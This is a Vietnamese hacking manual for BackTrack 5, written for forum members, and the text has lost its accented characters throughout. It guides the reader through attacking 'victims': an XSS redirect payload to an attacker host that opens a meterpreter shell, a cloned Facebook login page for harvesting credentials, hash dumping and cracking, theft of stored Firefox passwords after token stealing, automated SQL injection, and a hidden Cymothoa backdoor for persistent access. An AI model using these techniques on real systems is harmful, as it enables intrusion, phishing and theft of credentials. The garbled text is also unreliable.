Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 1
Tài liu hng dn s dng
BackTrack 5 – Ting Vit
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 2
Mc lc
Li nói đu 3
Phn I : Thu thp thông tin và gii thiu v các công c VA 4
1. Thu thp thông tin : 4
2. ánh giá l hng : 6
Phn II : Các b công c khai thác ( exploit tools ) và frameworks 10
1. B công c Metasploit Armitage : 10
2. B công c Social-Engineer Tookit : 11
3. B công c leo thang đc quyn (Privilege escalation tools ) : 12
4. B công c John the Ripper : 13
Phn III : Các b công c khai thác và frameworks – tip theo 15
1. ánh cp các thông tin t trình duyt : 15
2. Thc nghim k thut đánh cp thông tin : 15
3. B công c Hashcat trong BackTrack 5 : 17
4. Thc nghim k thut leo thang đc quyn : 18
5. Khai thác SQL Injection trong BackTrack 5 : 18
6. S tht bt ng đng sau các công c mang tên khai thác t đng : 19
Phn IV : Làm th nào đ n mình 20
1. Ti sao phi n mình ? 20
2. OS backdoor
Cymothoa : 20
3. Meterpreter có phi là backdoor : 22
4. Li dng l hng đ có backdoor : 23
Phn V : Chi tit mt cuc tn công gi đnh 24
1. B công c Autoscan Network trong BackTrack 5 : 24
2. Tài nguyên l hng trc tuyn : 24
3. Pentest mc tiêu : 25
4. Xóa b du vt : 26
5. Tng quan v mô hình bo mt Windows : 26
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 3
Li nói đu
Tài liu hng dn này cutynhangheo dành tng cho anh em HCEGroup và TheGioiMang.OrG nhân
ngày reopen ca 2 din đàn thân yêu nói trên .Và cutynhangheo có đôi li tâm s vi anh em mi vào
chi trò ngh thut này cái nhé .Trong ngh thut hack không có cái gi là s li bing và chây ý, anh
em nên quan nim 1 điu khi ta cm thy tha mãn vi nhng gì ta đang có tc là lúc đó ta bt đu lc
hu vi th gii .Trong ngh thut hack kin thc, k nng, t duy, s ranh ma và thêm mt chút may mn
luôn luôn đi chung vi nhau .Vì vy nu ta cm thy mình đã có đc nhng gì mình mun thì lúc đó
mình bt đu mt tt c .Cutynhangheo cng xin nói rng tài liu này ch dùng đ tham kho và s dng
đ thc nghim tn công ( pentest ) trong môi trng lab hoc c quan, t chc có nhu cu tn công thc
nghim trên h thng ca chính h .Kin thc trong cun sách hng dn này do cutynhangheo thu thp
và tham kho nhiu ngun trên Internet, chân thành cm n các tác gi v ngun tài liu mà
cutynhangheo đã tham kho qua .
Ln na cutynhangheo xin nhc li tài liu này cutynhangheo biên dch li và cung cp cho anh em
ch nhm mc đích hc tp và nghiên cu, cutynhangheo không chu trách nhim vic anh em s dng
kin thc, k thut và t duy trong cun tài liu này dùng đ vi phm pháp lut nc Cng Hòa Xã Hi
Ch Ngha Vit Nam .Mi hành vi mo danh hay s dng các kin thc nói trên cutynhangheo không chu
trách nhim trc pháp lut .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 4
Phn I : Thu thp thông tin và gii thiu v các công c VA
Phiên bn BackTrack 5 có tên mã là “Revolution” ( tm dch là “Ci tin” ), phiên bn này rt đc
gii bo mt (nht là gii Hack) mong đi; phiên bn này đc phát hành vào tháng 05 nm 2011 .So vi
phiên bn BackTrack 4 R2 thì phiên bn này có nhiu s phát trin mnh m hn rt nhiu .Phiên bn
BackTrack 5 này đc cho rng các nhà phát trin đã xây dng li t đu, cung cp cho chúng ta nhng
ci tin tt hn và cng nh fix các li so vi phiên bn BackTrack 4 R2 trc đó .
BackTrack 5 đc đt tên theo mt thut toán đc gi là “backtracking” .BackTrack 5 cung cp
mt b các công c t crack password, pentest và scan ports .BackTrack 5 có 12 b các công c đc th
hin nh hình 1 bên di .
Hình 1 :
Các b công c trong BackTrack 5
Ngi kim tra bo mt ( tm gi là Pentester – vi nhng ngi nh anh em chúng ta tm gi là
sript kiddies, nói dân dã 1 tí là dân đi hack, cutynhangheo xin nhc li là chúng ta cha phi là hacker
thc th OK ! ) thng thc hin các quá trình tn công thc nghim theo 5 bc ( tùy vào tng môi
trng và trng hp c th có th nhiu hn 5 bc ) nh sau :
1. Bc 1 là thu thp thông tin ca h thng cn tn công thc nghim .
2. Bc 2 là scan bugs ( quét li ) và đánh giá các đim yu có th có ca h thng cn tn công
thc nghim .
3. Bc 3 là tip cn vi h thng cn tn công thc nghim thông qua các đim yu có th có
ca h thng đó .
4. Bc 4 là duy trì truy cp vi h thng cn tn công thc nghim ( nói có v khìn khìn nhng
cutynhangheo ngh đây là bc to 1 backdoor cho ln truy cp sau vào h thng đó ) .
5. Bc 5 là xóa b tt c các du vt ( trong phim thì gi là “phi tang, dit chng”; hehehe ) .
Trong phn hng dn tn công thc nghim ( pentest ) vi BackTrack 5 này, chúng ta s cùng xem
xét qua phn thu thp thông tin và b công c đánh giá các l hng ( nu có ) đc cung cp trong phiên
bn BackTrack 5 này nhé .
1. Thu thp thông tin :
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 5
Thu thp thông tin là bc tin hành đu tiên và cc k quan trng trong quá trình tn công thc
nghim .Trong bc này, pentester và attacker s thu thp và có đc các thông tin s b ca mc
tiêu cn tn công nh h thng mng mc tiêu, các cng đang m, h thng máy đang live và các
dch v đang chy trên tng cng đó .Theo bn ta thu thp đc gì ? Rt đn gin ta s có đc 1
bng thông tin v s đ cu trúc ca mc tiêu, bên cnh đó ta còn có thông tin v các h thng và h
thng mng đang đc s dng ca mc tiêu .Hình 2 bên di đây là hình chp ca công c Zenmap,
BackTrack cung cp công c này đ giúp pentester và attacker có th thu thp đc thông tin và
phân tích h thng mng ca mc tiêu .
Hình 2 : Công c Zenmap UI trong BackTrack 5
Các ch đ scan ca Zenmap s cung cp cho ta thông tin v mc tiêu nh dch v đang chy
trên tng cng, phiên bn h điu hành ca mc tiêu, đng đi đn mc tiêu, workgroups và tài
khon ngi dùng .Các thông tin này thc s hu ích vi phng pháp “white box testing” ( tt
nhiên cng hu ích vi attacker ) .
Mt công c thu thp thông tin khác trong BackTrack 5 đó là CMS identification và IDS – IPS
identification dùng đ thu thp thông tin và phân tích cho ng dng web .CMS identification s cung
cp các thông tin s b v h thng CMS mc tiêu, b công c này có th đc dùng đ đánh giá các
l hng trên h thng CMS và điu thun tin nht là b công c này cung cp các exploit ( khai thác
) có sn đ pentester và attacker có th kim tra trên h thng mc tiêu .Các công c nh joomscan (
CMS Joomla ) s đc nói sau trong phn hng dn này .
Mt công c thú v và cc k mnh khác na là Maltego, công c này thng dùng đ phân tích
v SMTP .Hình 3 bên di cho thy Maltego đang hot đng .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 6
Hình 3 :
Công c Maltego UI trong BackTrack 5
Trên bng Palette ca Maltego cho ta thy các thông tin nh DNS Name, Domain, Location,
URL, email và các thông tin chi tit khác v website .Maltego s dng các tùy bin khác nhau trên
các entities cung cp cho pentester và attacker các thông tin chi tit cn thit v mc tiêu .Maltego
cung cp mt kt qu trc quan bng giao din đ ha v các thông tin thu thp đc ca mc tiêu .
2. ánh giá l hng :
Bc th 2 trong tn công thc nghim pentest là đánh giá các l hng ( nu có ) .Sau khi đã
thc hin bc đu tiên thành công .
Thông tin và s đ t chc ca mc tiêu có đc thông qua footprinting ( nh hi xa
cutynhangheo đc đn đây c nh nh là “in du n” ), lúc này chúng ta s tin hành đánh giá phân
tích các đim yu hoc các l hng trong h thng cn tn công .Trên internet hin nay có rt nhiu
trang web v bo mt cung cp danh sách các l hng có th s dng đ khai thác, nhng chúng ta s
ch tp trung vào nhng gì BackTrack 5 cung cp trong series hng dn này nhé .
Web application scans đc s dng đ đánh giá và tìm các l hng ca ng dng web .Hình 4
bên di đây gii thiu v công c joomscan trong BackTrack 5 .Joomscan có tính nng là s dng
các l hng đc cung cp trong tài nguyên đ tìm kim l hng ca website chy trên nn Joomla .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 7
Hình 4 :
Công c Joomscan
Joomscan s dng câu lnh nh sau :
./joomscan.pl –u <string> -x proxy:port
Phn <string> chính là Website chy Joomla cn tn công .Joomscan có các tùy chn kèm theo
nh sau kim tra phiên bn ca Joomla, kim tra Server, kim tra Firewall đang hot đng …Nh
hình 4 trên Website Joomla mc tiêu đang chy trên máy ch web Apache Server và phiên bn PHP
đang s dng là 5.5.16 .
OpenVAS ( Open Vulnerability Assessment System ) trong BackTrack 5 : M Application
Backtrack
Vulnerability scanners
OpenVAS s cung cp cho bn mt danh sách các tùy chn
nh hình 5 bên di .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 8
Hình 5 :
Các tùy chn ca OpenVAS trong BackTrack 5 .
OpenVAS là mt công c mnh trong vic phân tích và đánh giá l hng đi vi mc tiêu cn tn
công .Nhng trc khi s dng b công c này nhà cung cp khuyn cáo bn cn thit lp chng
thc vi tùy chn OpenVAS MkCert .Sau đó, chúng ta cn to mt tài khon ngi dùng mi t trình
menu nh trong hng dn này .
Ngi dùng có th tùy chnh đ áp dng các rule ca mình, hoc s đc cung cp mt tp hp
rng bng cách nhn t hp phím Ctrl + D .Khi mt ngi dùng mi đã đc thêm vào vi các thông
tin đng nhp, chúng ta đã có th bt đu s dng b công c này .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 9
Hình 6 :
Quá trình thêm tài khon ca OpenVAS
OpenVAS hot đng đánh giá l hng trên mô hình Client/Server .Bn nên cp nht thng
xuyên danh sách các l hng mi cho th vin ca OpenVAS đ có th thc hin các bc kim tra có
hiu qu nht .
OpenVAS và Nessus Scanner :
Nessus Scanner là b công c phân tích và đánh giá l hng t đng .Chúng ta hãy lt qua
xem s khác bit gia 2 b công c này .
Nessus Scanner có 2 phiên bn, min phí và tr tin ( cái v này làm nhiu dân đi hack nh
chúng ta vô cùng ái ngi nh ! Cha hack mà đã tn tin ri ), trong khi đó OpenVAS thì li hoàn
toàn min phí ( cái này đc àh nghen, đng bao gi có suy ngh đ free là đ cùi anh em nhé, có
nhng đ free mà cht lng ngon hn hn đ tr tin đàng hoàng, mà xài đ free thì các bác
mun đánh bn quyn cng chng có c gì xi đc anh em ta ) .Theo đánh giá gn đây cho bit
thì các tài nguyên cung cp các plugins cho 2 b công c này có s khác nhau đáng k, và tùy
thuc vào nhn đnh ca mi ngi s đa ra nhn xét là s có 1 b công c đc khuyên không
nên s dng, tt nhiên 1 chng trình scan t đng s có th đa ra nhng đánh giá sai lm, điu
này là không th tránh khi ( anh em s hi cutynhangheo ti sao sai lm còn gii thiu,
cutynhangheo xin tr li vì bn cht chng trình do con ngi lp trình ra, nó ch bit làm theo
ch nó không có suy ngh nh con ngi nhé ).
Trên internet có rt nhiu nhóm đc lp ra đ hng dn cho nhau cách s dng các b
công c h tr khác, tt nhiên có c các b công c scan t đng, nhng cutynhangheo xin
khuyn cáo vi anh em nh sau ta ch s dng các b công c scan t đng đ đánh giá toàn din
các l hng ca các mc tiêu cn tn công .BackTrack 5 cng cung cp các b công c khác
cùng th loi nh các b công c CISCO, ngha là các b công c này đc s dng đ tìm l
hng trên h thng mng chy phn cng CISCO .Các Fuzzer cng đc cung cp, đc phân
thành 2 loi Network Fuzzers và VOIP Fuzzers .
ó là điu gii thích ti sao BackTrack 5 đc cung cp rt nhiu b công c đ thu thp thông
tin và đánh giá l hng .Trong phn hng dn này cutynhangheo s c gng gii thiu mt hoc hai
b công c mà cutynhangheo cm thy hu dng cho anh em nhé ( còn li nu anh em mun nâng
cao skill thì làm n t lên Google Search dùm cái h, có 1 câu ngn ng “Tôi ch cho cái cn câu
ch tôi không cho con cá” ) .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 10
Phn II : Các b công c khai thác ( exploit tools ) và frameworks
Trong phn đu ca cun hng dn v BackTrack 5 này, chúng ta đã đi qua 2 bc là thu thp
thông tin và đánh giá l hng vi các b công c đc gii thiu trên .Trong phn hai này, chúng ta s
đc gii thiu v các b công c đ khai thác các l hng t xa và tìm hiu làm th nào đ s dng các
exploitation frameworks đ leo thang đc quyn ví d nh s dng John the Ripper đ crack mt khu và
truy cp vào mt h thng Windows t xa nhé .
1. B công c Metasploit Armitage :
Metasploit Armitage là phiên bn giao din đ ha ca b công c khai thác l hng ni ting
Metasploit Framework .Cutynhangheo s vit mt series v hng dn s dng Metasploit trong thi
gian sp ti và s cung cp sm cho anh em .Trong cun sách hng dn v BackTrack 5 này, chúng
ta s đc gii thiu cách s dng autopwn đ khai thác l hng trình duyt trên h thng Windows
XP bng b công c Metasploit Armitage .
Hình 7 :
B công c Metasploit Armitage ; h thng Windows b xâm nhp t xa đc th hin bng màu
đ .Giao din console bên di cho thy quá trình s dng autopwn đ khai thác l hng trình duyt trên
h thng … Armitage cng thu thp đc thông tin v h điu hành ca mc tiêu tn công .
Vi phn hng dn khai thác này, anh em cn 1 website b li cross-site scripting ( XSS ) vi l
hng là URL redirection ( chuyn hng URL ) .Khi victim nhp chut vào 1 URL c th nào đó trên
trình duyt, h thng ca victim s to ra mt meterpreter shell .on code URL redirection s có
dng nh sau :
?c="><meta HTTPEQUIV="REFRESH" content="0; url=http://attacker">
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 11
Tính nng auto-migration đc s dng khai thác s to ra mt tin trình mi trên h thng
victim, bi vì nu nh chúng ta s dng phng pháp khai thác l hng không s dng migration, thì
cuc tn công s b hy b hoc kt thúc khi ngi dùng đóng trình duyt .Vì vy Migration s giúp
chúng ta duy trì trng thái kt ni liên tc vi h thng victim cho dù victim có đóng trình duyt đi
chng na .
Hình 8 : Mt minh ha v URL redirection t 1 website b li XSS , xyz.com, đn 192.168.13.132 attacker
2. B công c Social-Engineer Tookit :
B công c Social- Engineer Tookit ( SET ) s đc cutynhangheo gii thiu chi tit trong mt
cun sách hng dn khác trong thi gian sp ti .Trong phn hng dn BackTrack 5 này, chúng ta
s tp trung vào kiu tn công đc gi là tab nabbing .Trong mt cuc tn công gi đnh, victim m
1 liên kt trên trình duyt, ngay sau khi victim chuyn sang 1 tab khác, trang web ban đu s đc
thay th bng 1 trang web gi mo, kiu tn công này cho phép các attacker có đc các thông tin
đng nhp ca victim .Victim s b đánh la đ nhp tên tài khon và mt khu ca anh ta vào trang
gi mo này .
Trong kiu tn công “social engineer” này, chúng ta s chn 1 website đ tn công vector và
clone trang web đó .Chúng ta cn xác đnh nhng trang web nào chúng ta cn clone, có các form
đng nhp thông tin mà chúng ta mong mun .Cutynhangheo đã clone 1 trang ca Facebook cho
phn hng dn BackTrack 5 này vi mc đích ch là trình din ( cutynhangheo không khuyn khích
anh em làm điu tng t ) .Xin lu ý anh em rng quá trình clone s không có tác dng khi chúng ta
không có kt ni internet nhé .
Hình 9 bên di cho thy trang đng nhp Facebook gi mo, và hình 10 bên di các d liu
gi qua phng thc POST b SET bt li .
Phng pháp tn công này có th m rng vi các URL mà anh em d tính clone, các trang web
s dng phng thc POST đ đy d liu, thông tin đó s luôn b thu thp li bi HTTP hoc
HTTPS .SET h tr tt 2 giao thc trên, và cho kt qu tt khi sniffs thông tin đng nhp .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 12
Hình 9 :
Mt trang đng nhp gi mo Facebook đc to ra bi b công c Social-Engineer Toolkit vi
các tùy chn đc cu hình bi attacker .
Hình 10 : D liu POST b thu thp bi b công c Social-Engineer Toolkit framework t 1 trang đng
nhp gi mo Facebook .
3. B công c leo thang đc quyn (Privilege escalation tools ) :
Chúng ta bit rng không phi lúc nào chúng ta cng có quyn administrator hay superuser đ
có th xâm nhp vào mt h thng t xa c ( d n quá thì không còn gì là thú v OK ! ) .Ging nh 1
attacker, chúng ta cn mt quyn ti đa trên h thng victim đ có th thc thi các payloads và thc
hin các hành đng chúng ta mong mun ( ví d leo lên quyn administrator hay get root gì đó )
.BackTrack 5 cung cp cho chúng ta 1 lot các b công c leo thang đc quyn đ đáp ng nhng
nhu cu thc tin này, ging hình 11 bên di .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 13
Hình 11 :
Các phân loi trong b công c leo thang đc quyn trong BackTrack 5 .
Nh trên hình 11 chúng ta thy, BackTrack 5 cung cp 4 phân loi trong b công c leo thang
đc quyn, mi loi đu có cách làm vic khác nhau ( đ hiu ht các phân loi này, cutynhangheo đ
ngh anh em s dng đ cm nhn ) .
4. B công c John the Ripper :
Mt khi victim đã b xâm nhp ( cutynhangheo đ ngh anh em cha bit làm sao xâm nhp xin
đc li cun hng dn s dng SET và MSF ca cutynhangheo đ bit thêm chi tit nhé, không gii
thích trong phn hng dn này mt lm ), các cracker thng s dng b công c John the Ripper
đ crack các Password Windows hashes t đó s dng đ leo thang đc quyn và có đc quyn
qun tr h thng .
Sau khi khai thác qua l hng, các pass hashes này s đc dump li thành 1 file text và cung cp
cho John the Ripper .John the Ripper là b công c rt mnh v vic crack các password hashes
.Hình 12 và 13 bên di th hin quá trình crack password hashes liên quan đn vic leo thang đc
quyn trên h thng Windows .Cuc tn công nh demo có th s dng 2 b công c Metasploit
Framework hay Social-Engineer Toolkit .
Hình 12 :
ây là quá trình dump password hashes bng b công c hashdump, kt quá này s xut ra file
text đ cung cp cho John the Ripper thc hin crack pass .
H thng victim theo nh hình bên di s đc lit kê danh sách các tài khon và mt khu theo
cách ca John the Ripper .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 14
Hình 13 :
Danh sách đc sp xp theo Username:Password
Vi mt khu có trên thì vic leo thang đc quyn trên h thng victim lúc này qu tht quá đn
gin anh em nh .Trong phân h b công c phân tích các giao thc, chúng ta có 1 b công c là
WireShark, b công c này đc xp đu bng trong các công c phân tích lung các traffic trên h
thng mng .Cutynhangheo s c gng hoàn thin cun sách nói v b công c WireShark này trong
thi gian sm nht cho anh em.
ây là bng chng cho vic BackTrack 5 đã phát trin rt rt nhiu .Mt attacker thông minh và
ranh ma có th tn dng và s dng ti đa các b công c này, và attacker có th kt hp chúng li
đ đa dng hóa và ti đa hóa cho li ích ca attacker .Trong phn hng dn này, cutynhangheo xin
nhn mnh li vic quan trng nht trong mt cuc tn công gi đnh là s dng các công c đ leo
thang đc quyn .Trong phn hng dn tip theo cutynhangheo s cung cp thêm cho anh em mt s
k thut leo thang đc quyn khác na ( đ bit đc nhiu hn ch có chm ch, cn cù ngi đc và
search giáo s Google nhé ) .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 15
Phn III : Các b công c khai thác và frameworks – tip theo
Khi BackTrack 5 phát hành vào tháng 05 nm 2011, đã có rt nhiu b công c pentest frameworks
đc ch đi .Chính đi này đã khin cutynhangheo quyt tâm vit phn hng dn s dng BackTrack 5
phn th 3 này đ cùng anh em tìm hiu và khám phá các b công c khai thác các li ca trình duyt
chng hn nh đánh cp thông tin quan trng, leo thang đc quyn Website và khôi phc mt khu .ây
là mt phn trong cun sách hng dn s dng BackTrack 5 này, cutynhangheo s cung cp cho anh em
cái nhìn tng quan v khai thác t đng vi li SQL Injection bng cách s dng b công c
DarkMySQLi .
1. ánh cp các thông tin t trình duyt :
Phn hng dn trc cutynhangheo đã có gii thiu qua v cách đ khai thác mc tiêu victim
bng cách s dng các payloads .Trong phn này cutynhangheo s s dng các modules ca
Metasploit Framework đ tn công h thng Windows, đánh cp các thông tin trình duyt lu tr
trong Mozilla Firefox chy trên h thng Windows XP .Mt b công c ca nhà cung cp th 3 có tên
gi là Firepassword s ly tt c thông tin mt khu đc lu tr trên trình duyt Mozilla Firefox
trên h thng victim .
Chúng ta s s dng l hng ph bin là WinXP RPC DCOM đ khai thác và xâm nhp h thng
victim, khi to 1 Metasploit Shell và thc hin các bc đ khai thác thông tin .Nu victim có s
dng tính nng Master Password trong Mozilla Firefox, đây là thông tin quan trng nht ta cn phi
ly đu tiên, vì nu ta có Master Password ta có th xem đc các mt khu khác trong Mozilla
Firefox 1 cách cc k d dàng .Thông thng thì Master Password rt ít khi đc s dng, chính vì
th điu này cho phép chúng ta có th d dàng ly các thông tin đc lu tr trong trình duyt .
2. Thc nghim k thut đánh cp thông tin :
Mc tiêu cn đt đn ca pentester và hacker m đen là ging nhau v phng thc thc hin, c
th là xâm nhp vào h thng mng và đánh cp thông tin d liu .Tuy nhiên, vi hacker m đen h
s đem thông tin đó đem bán cho nhng ai cn đn hoc s dng cho mc đích khác, thì pentester s
thông báo các d liu b đánh cp đó cho c quan, t chc đã yêu cu anh ta thc hin quá trình
pentest, vi tính toàn vn, bo mt và trách nhim .
Các thông tin thng b đánh cp nht bao gm thông tin cá nhân vì thông tin này có th s dng
cho kiu tn công social engineering, th tín dng hoc các thông tin chi tit v tài chính; và có th
có c biên lai và hóa đn hoc các thông tin nhy cm ca công ty trong hp th email .Nói chung
mi th nhy cm thì hacker m đen h đu mun đánh cp .
Vì vy, kim tra bt k các d liu có th s b đánh cp là mt bc rt quan trông trong quá
trình pentest, nó chính là mt báo cáo đy đ và trung thc nht cho c quan, t chc đó .Hình 14
bên di cho thy s thit hi s có ca victim .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 16
Hình 14 : Quá trình xâm nhp thành công trên h thng Windows XP .
Ti đây, nh phn nói trên, chúng ta s thc hin ti firepassword.exe lên h thng ca victim
đ thc hin quá trình đánh cp mt khu đc lu tr trên Firefox .
S dng câu lnh upload đ thc hin quá trình ti file lên trong môi trng meterpreter shell .
Mt file Firepassword đã đc ti lên ( Hình 15 ) .Và d liu s đc nhìn thy nh hình 16 .
Hình 15 :
File Firepassword.exe đã đc ti lên thành công trên h thng victim .
Bây gi chúng ta ch cn chy file Firepassword.exe đ thy đc các mt khu có trong h
thng .Nhng ( hè hè …anh em nên nh không có cái gì đc gi là đn gin trong trò chi c, nht
là trong ngh thut hack nhé, nu đn gin và d làm thì đã có khi ngi làm đc không đn phiên
chúng ta nhé ) có mt điu cn phi chú ý đây .iu này s hu ích cho t duy ca anh em ( nu
anh em xem hack là mt nim đam mê nhé ), đó là chúng ta cn kim tra cp đ ngi dùng ca
victim mt khi anh em đã xâm nhp vào h thng ca victim .Ví d di đây s gii thích cho anh em
d hiu hn nhé, khi ta xâm nhp vào h thng Windows XP vi quyn “System”, nhng đ cho file
Firepassword.exe chy đc ta cn phi có quyn “Administrator” .Do đó, đ thay đi cp đ ngi
dùng chúng ta có th s dng phng pháp sau .
2.1. S dng câu lnh ps trong môi trng meterpreter đ lit kê tt c các tin trình đang thc
hin trên h thng victim theo PIDs, tìm tin trình explorer.exe hoc bt k mt tin trình nào
đang thc hin vi quyn “Administrator” .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 17
2.2. Bây gi chúng ta sao chép PID này và s dng câu lnh steal_token đ thay đi cp đ
quyn ca user thành quyn “Administrator” .
2.3. kim tra quyn user hin ti mà anh em đang truy cp, s dng câu lnh getuid trong môi
trng meterpreter shell .
Mt khi đã tr thành Administrator, anh em chy file Firepassword.exe đ m Windows shell
trong môi trng meterpreter và kim tra các mt khu đc lu tr nh trong hình 16 bên di đây.
Hình 16 : Các tài khon và mt khu đc lu tr đc hin th khi s dng Firepassword.exe
i vi hng dn trên, anh em cn lu ý mt điu là tin trình ch đc thc hin thành công
khi anh em bit đc Master password trong trình duyt Mozilla Firefox .Chín trong s mi ln
thc hin thì cutynhangheo nhn thy tính nng Master password ít đc ngi s dng lu tâm mà
thit lp nó, và các thông tin có th s b đánh cp .Vì vy, trong trò chi này luôn luôn kèm theo tính
may mn nhé anh em .
Ngoài ra cng có mt s b công c khác đc cung cp bi bên th 3 dùng đ đánh cp các mt
khu trên các trình duyt khác na .
3. B công c Hashcat trong BackTrack 5 :
Hashcat là b công c min phí, có nhiu ci tin, đa nn tng, công c phc hi mt khu trên
nhiu h điu hành .Các nn tng đc h tr bao gm CUDA, OpenCL và CPU, và mt s khác …
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 18
Hình 17 : Các câu lnh ca Hashcat trong BackTrack 5
Trong phn hng dn này, nh trên hình 17 anh em có th thy đc cú pháp đ s dng
Hashcat vi li chú thích rõ ràng cho mi tùy chn .Các tùy chn này đc phân loi nh sau :
3.1. Khi đng chng trình .
3.2. ng nhp và các file ca chng trình .
3.3. Qun lý tài nguyên h thng .
3.4. Các kiu tn công, bao gm brute force, table lookups và permutations .
4. Thc nghim k thut leo thang đc quyn :
Mt cuc tn công thng theo các cách ch yu nh sau ngha là khi xâm nhp vào h thng
victim anh em thng s có quyn hn user rt thp hoc có th nói là bình thng .Bc sau đó, là
cn kim tra các l hng local đ ta có th t đó leo thang lên quyn cao nht ca h thng victim
.iu này cc k quan trng, đ ta có đc các quyn nh mong mun, yêu cu chúng ta cn thc
hin quá trình đánh giá mc đ an ninh ca h thng victim .Các b công c nh “Backtrack
Privilege escalation
Online attacks / Offline attacks” đã đc phát trin đ làm nhng vic này.
Hu ht các tin trình trong h thng Windows đu có th đc thc thi vi quyn
“Administrator”, nhng mt s ít, quyn “system” li đc thc thi .BackTrack 5 có các b công c
nh meterpreter to điu kin thun li đ leo thang đc quyn .
5. Khai thác SQL Injection trong BackTrack 5 :
SQL Injection đc xp hng s 1 trong OWASP Top 10 l hng v bo mt trong ng dng web
.Nó có th đc thc hin khai thác bng tay hoc bng các b công c khai thác t đng .Phng
pháp khai thác bng tay thì cc k nhàm chán và mt thi gian ca anh em ta ( cái này đúng vi các
đng chí chi UG nhé ), trong khi đó phng pháp khai thác t đng thì nhanh hn, thân thin vi
ngi s dng và có nhiu hiu qu hn ( chun không cn chnh ) .Havij là mt trong nhng công
c khai thác SQL Injection t đng nh nói trên .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 19
Trong phn hng dn này chúng ta ch đ cp đn b công c DarkMySqli dùng đ SQL
Injection t đng vào website victim .
Cu trúc câu lnh nh sau :
python DarkMySQLi.py –u
http://target
B công c này s scan toàn b website victim, bng cách s dng câu lnh trên trong console
.ng dn đy đ ca b công c trên trong BackTrack 5 là /pentest/web/DarkMySQLi .
6. S tht bt ng đng sau các công c mang tên khai thác t đng :
Hin nay có rt nhiu nhà cung cp bán các sn phm pentest t đng vi li mi chào nh “R
hn, Nhanh hn và Chính xác hn” .Vi vic chi phí và thi gian b hn ch, tt nhiên các nhà
cung cp này s là la chn hàng đu .Nhng chúng ta cn có cái nhìn tng quan v các công c
pentest t đng nh sau nó s làm mi ngi có cái nhìn sai v bo mt, nó thu hp khong cách,
không cn bn phi có kin thc v IT và chính sách bo mt .Mi ngi cn có đánh giá khách quan
v u và khuyt đim ca mt trong hai phng pháp mà cutynhangheo đã gii thiu trên, và cng
cn da trên nhu cu thc t ca c quan, t chc .
Trong phn hng dn này, chúng ta đã đc gii thiu s qua v Web exploitation framework,
đánh cp thông tin trình duyt bng các b công c ca nhà cung cp th 3, và ti chúng lên h
thng ca victim .Trong phn hng dn sp ti cutynhangheo s gii thiu các khía cnh khác ca
lnh vc an toàn thông tin, forensics và reverse engineering .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 20
Phn IV : Làm th nào đ n mình
Trong phn hng dn trc, chúng ta đã đc gii thiu s qua v các phng pháp thu thp thông
tin và đánh giá l hng ca h thng mc tiêu, phân tích h thng mng, scan và truy cp vào mc tiêu,
và mt s công c v leo thang đc quyn .Trong phn này chúng ta s xem xét qua vn đ làm th nào đ
n mình .
1. Ti sao phi n mình ?
Mc đích ca vic pentest là lp li các hành đng ca nhng attacker có s dng mã đc
.Không mt attacker nào mun mình b phát hin khi xâm nhp trái phép vào mt h thng mng, vì
vy k thut n mình luôn luôn đc attacker s dng đn .Khi pentester thc hin quá trình xâm
nhp cng phi s dng k thut n mình ging nh vy, đ đánh giá h thng mt cách trung thc
nht .
Hình 18 : B công c “Maintainning Access” trong BackTrack 5, chúng ta tp trung vào phn OS
Backdoors .
Trong phn này s hng dn anh em làm th nào đ s dng tính nng “Maintainning Access”,
trong đó s có các tùy chn nh OS Backdoors, Tunneling và Web Backdoors nh hình 18 .
2. OS backdoor
Cymothoa :
Cymothoa là b công c dùng đ n backdoor trong BackTrack 5, có ngha là backdoor shell
code s đc chèn vào trong mt tin trình đang tn ti .B công c này đc phát trin bi
codewizard và crossbrowser ca ElectronicSouls .
Các tùy chn ca b công c đc s dng nh sau :
Cymothoa –p <pid> -s <shellcode number> [options]
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 21
Cymothoa đc cung cp bao gm các payloads có sn .Chúng đc đánh s t 0
14 .B công
c này có rt nhiu tùy chn bao gm nh tùy chn chính, tùy chn inject và các tùy chn v
payloads .
Hình 19 : Trên đây là quá trình chy Cymothoa vi pid 1484 và lng nghe port 100
Nh hình 19 bên trên, th hin các hành đng ca Cymothoa, các kt qu vi port 100 ti tin
trình 1484 .
Hình 20 :
Trc khi chy Cymothoa .
Hình 21 : Sau khi chy Cymothoa .
Khi chúng ta đã thc hin quá trình chèn shell code vào, chúng ta có th s dng lnh netstat –l
đ hin th các port 100 nào đang đc lng nghe, vi hình 21 đây là kt qu sau khi chúng ta chèn
shell code numbered 0 vào tin trình 1484 .Vì vy chúng ta có th thy rng, chúng ta có th chy
Cymothoa trên bt k h thng nào và có th lây nhim vào bt k mt cng dch v nào ca h thng
đó và chúng ta có th maintaining access vào h thng đó bt k lúc nào .Victim s không h hay bit
s tn ti ca backdoor, ngoi tr victim phát hin hay nghi ng mt điu bt thng nào đó trên h
thng ca h .
